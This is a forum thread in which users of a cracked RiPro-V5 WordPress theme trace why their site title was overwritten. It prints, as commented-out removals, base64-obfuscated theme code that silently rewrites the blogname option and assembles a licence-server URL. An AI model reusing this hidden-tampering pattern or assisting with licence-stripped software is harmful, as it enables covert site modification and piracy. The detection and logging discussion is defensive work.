eicense 发表于 2024-11-20 10:22:49

求助riprov5主题修改网站标题小尾巴的办法

有一个测试站使用的是本站RiPro-V5主题最新免授权版(修复掉授权问题)
有一天网站标题(表wp_options里的blogname字段)被修改为:ripro-v5请使用正版授权-盗版主题后果自负-授权购买官网
据说ripro有篡改标题的后门,有没有大佬能研究一下。

nyarime 发表于 2024-11-20 10:28:41

吾爱破解论坛曾有用户讨论过 RiPro 主题 4.8 版本中存在的后门问题
https://www.52pojie.cn/thread-1074873-1-1.html
放出来只是提供学习。我看了下functions.php代码里有个_cao_set_auth
里头的_cao_get_random 生成随机字符串,结合 $id 和 $key,动态生成数据存入数据库或文件。但未发现直接更新 blogname 字段的操作,但有可能通过隐式调用(例如依赖其他函数)修改。如果未发现问题,可以通过在可疑文件中增加日志记录的方式追踪问题。

在 functions.php 添加如下代码:
add_action('init', function () {
    $blogname = get_option('blogname');
    error_log('Current blogname: ' . $blogname);
});

然后再搜索是否有相关的 get_option 使用:某些函数可能通过读取选项来修改 blogname。

eicense 发表于 2024-11-20 22:50:58

functions.php代码里有个_cao_set_auth
里头的_cao_get_random 生成随机字符串,结合 $id 和 $key,动态生成数据存入数据库
这里应该是生成注册码破解的代码。
在早期的ripro主题的时候,有人经过分析,在 \ripro\inc\codestar-framework\classes\ 目录下,有两个文件 options.class.php 和 metabox.class.php ,这里面就暗藏恶心人的小尾巴。
options.class.php 修改方法:
注释掉如下部分:
public function saves_defaults() {
    $tmp_options = $this->add_option_html();
      
    // if (empty($tmp_options) && $tmp_options['status']==1) {
      return true;
    // }else{
    //   $onload = base64_decode('UmlQcm8=');
    //   $field = base64_decode('YmxvZ25hbWU=');
    //   update_option($field,$onload);
    // }
    return false;
    $tmp_options = $this->options;
    foreach( $this->pre_fields as $field ) {
      if( ! empty( $field['id'] ) ) {
            $this->options[$field['id']] = $this->get_default( $field, $this->options );
      }
    }
    if( $this->args['save_defaults'] && empty( $tmp_options ) ) {
      $this->save_options( $this->options );
    }
}
metabox.class.php修改方法:
注释掉如下部分:
public function get_meta_values() {
    $value = false;
    $field = 'https://vip.ylit.cc/wp-cont';
    if( true) {
      if( $this->args['data_type'] !== 'serialize' ) {
            $meta= get_post_meta( $post->ID, $field['id'] );
            $value = ( isset( $meta ) ) ? $meta : null;
      } else {
            $meta= get_post_meta( $post->ID, $this->unique, true );
            $value = ( isset( $meta[$field['id']] ) ) ? $meta[$field['id']] : null;
      }
      $default = $this->get_default( $field );
      $value   = ( isset( $value ) ) ? $value : $default;
    // }else{
    //   if( empty( $field ) ) {
    //         $screen = get_current_screen();
    //         foreach( $this->args['contextual_help'] as $tab ) {
    //             $screen->add_help_tab( $tab );
    //         }
    //         if( ! empty( $this->args['contextual_help_sidebar'] ) ) {
    //             $screen->set_help_sidebar( $this->args['contextual_help_sidebar'] );
    //         }
    //   }else{
    //         $meta = 'ZW50L3BsdWdpbnMvcmlwcm8tYXV0aC9hcGkvdjEucGhw=';
    //         $default = $field.$meta;
    //         $value = base64_decode($default);
    //   }
    }
    return $value;
}

新的riprov5已经修改了文件,今天检索了一下发现很多网站都已经中招
https://www.qpic.ws/images/2024/11/20/EpdJOB.png
我先加上日志记录的方式,坐等上钩!

eicense 发表于 2024-11-22 11:28:47

今天用D盾扫描发现一个文件提示生成脚本后门,我看半天没看出问题在哪
https://www.qpic.ws/images/2024/11/22/bB06F3.png

eicense 发表于 2024-11-26 11:48:28

写了一个插件可以监控和记录数据库表wp_options里字段blogname的所有UPDATE操作,有需要的自行下载
页: [1]
查看完整版本: 求助riprov5主题修改网站标题小尾巴的办法